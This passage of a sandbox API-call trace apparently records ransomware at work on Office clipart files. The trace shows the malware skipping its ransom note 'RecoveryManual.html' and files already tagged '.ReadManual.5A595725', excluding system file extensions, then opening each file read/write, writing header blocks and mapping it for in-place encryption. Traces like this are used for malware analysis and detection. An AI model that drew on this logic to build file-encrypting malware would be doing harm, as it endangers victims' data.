(lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.726] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14444) returned 1 [0260.726] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x386c, lpName=0x0) returned 0x184 [0260.726] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.727] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.727] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.730] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.730] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x386c) returned 0x2f0000 [0260.731] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.731] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38139999567) returned 1 [0260.731] CloseHandle (hObject=0x184) returned 1 [0260.731] SetSecurityInfo () returned 0x57 [0260.731] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.731] CloseHandle (hObject=0x194) returned 1 [0260.732] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b9eb00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b9eb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00248_.WMF", cAlternateFileName="")) returned 1 [0260.732] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00248_.WMF" | out: lpString1="BL00248_.WMF") returned="BL00248_.WMF" [0260.732] lstrcmpiW (lpString1="BL00248_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.732] StrStrIW (lpFirst="BL00248_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.732] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.732] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.732] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.732] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.732] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.732] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.732] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.732] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.733] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.733] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.733] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.733] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.733] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.733] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.733] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" [0260.733] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.ReadManual.5A595725" [0260.733] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.ReadManual.5A595725") returned 87 [0260.733] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38140158961) returned 1 [0260.733] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x20 [0260.733] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.733] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1536) returned 1 [0260.733] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x600, lpName=0x0) returned 0x184 [0260.733] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.734] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.734] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.735] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.735] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x600) returned 0x2f0000 [0260.736] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.736] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38140441944) returned 1 [0260.736] CloseHandle (hObject=0x184) returned 1 [0260.736] SetSecurityInfo () returned 0x57 [0260.736] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.736] CloseHandle (hObject=0x194) returned 1 [0260.736] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b67a200, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b67a200, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00252_.WMF", cAlternateFileName="")) returned 1 [0260.736] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00252_.WMF" | out: lpString1="BL00252_.WMF") returned="BL00252_.WMF" [0260.737] lstrcmpiW (lpString1="BL00252_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.737] StrStrIW (lpFirst="BL00252_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.737] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.737] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.737] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.737] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.737] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.737] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.737] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.737] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.737] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.737] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.737] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.737] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.737] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.737] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.737] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" [0260.737] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.ReadManual.5A595725" [0260.737] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.ReadManual.5A595725") returned 87 [0260.737] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38140586482) returned 1 [0260.737] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x20 [0260.737] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.737] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4708) returned 1 [0260.738] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1264, lpName=0x0) returned 0x184 [0260.738] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.738] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.738] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.740] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.740] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1264) returned 0x2f0000 [0260.740] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.740] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38140870558) returned 1 [0260.740] CloseHandle (hObject=0x184) returned 1 [0260.740] SetSecurityInfo () returned 0x57 [0260.740] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.740] CloseHandle (hObject=0x194) returned 1 [0260.741] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9e7400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9e7400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00254_.WMF", cAlternateFileName="")) returned 1 [0260.741] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00254_.WMF" | out: lpString1="BL00254_.WMF") returned="BL00254_.WMF" [0260.741] lstrcmpiW (lpString1="BL00254_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.741] StrStrIW (lpFirst="BL00254_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.741] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.741] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.741] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.741] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.741] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.741] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.741] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.741] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.741] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.741] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.741] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.741] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.741] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.741] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.741] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" [0260.741] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.ReadManual.5A595725" [0260.741] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.ReadManual.5A595725") returned 87 [0260.741] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38141025943) returned 1 [0260.742] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x20 [0260.743] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.743] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1736) returned 1 [0260.743] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c8, lpName=0x0) returned 0x184 [0260.743] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.743] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.743] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.745] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.745] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c8) returned 0x2f0000 [0260.745] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.745] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38141404980) returned 1 [0260.745] CloseHandle (hObject=0x184) returned 1 [0260.745] SetSecurityInfo () returned 0x57 [0260.745] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.746] CloseHandle (hObject=0x194) returned 1 [0260.746] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae0bf00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ae0bf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00261_.WMF", cAlternateFileName="")) returned 1 [0260.746] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00261_.WMF" | out: lpString1="BL00261_.WMF") returned="BL00261_.WMF" [0260.746] lstrcmpiW (lpString1="BL00261_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.746] StrStrIW (lpFirst="BL00261_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.746] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.746] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.746] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.746] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.746] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.746] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.746] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.746] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.747] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.747] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.747] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.747] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.747] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.747] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.747] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" [0260.747] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.ReadManual.5A595725" [0260.747] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.ReadManual.5A595725") returned 87 [0260.747] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38141554979) returned 1 [0260.747] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x20 [0260.747] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.747] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12482) returned 1 [0260.747] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30c2, lpName=0x0) returned 0x184 [0260.747] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.748] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.748] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.750] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.750] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x30c2) returned 0x2f0000 [0260.750] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.750] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38141882931) returned 1 [0260.750] CloseHandle (hObject=0x184) returned 1 [0260.750] SetSecurityInfo () returned 0x57 [0260.750] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.750] CloseHandle (hObject=0x194) returned 1 [0260.751] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63b9b100, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63b9b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00262_.WMF", cAlternateFileName="")) returned 1 [0260.751] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00262_.WMF" | out: lpString1="BL00262_.WMF") returned="BL00262_.WMF" [0260.751] lstrcmpiW (lpString1="BL00262_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.751] StrStrIW (lpFirst="BL00262_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.751] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.751] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.751] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.751] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.751] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.751] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.751] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.751] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.751] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.751] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.751] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.751] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.751] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.752] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.752] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" [0260.752] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.ReadManual.5A595725" [0260.752] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.ReadManual.5A595725") returned 87 [0260.752] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38142204350) returned 1 [0260.753] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x20 [0260.754] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.754] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2556) returned 1 [0260.754] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9fc, lpName=0x0) returned 0x184 [0260.754] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.755] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.755] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.756] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.757] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, 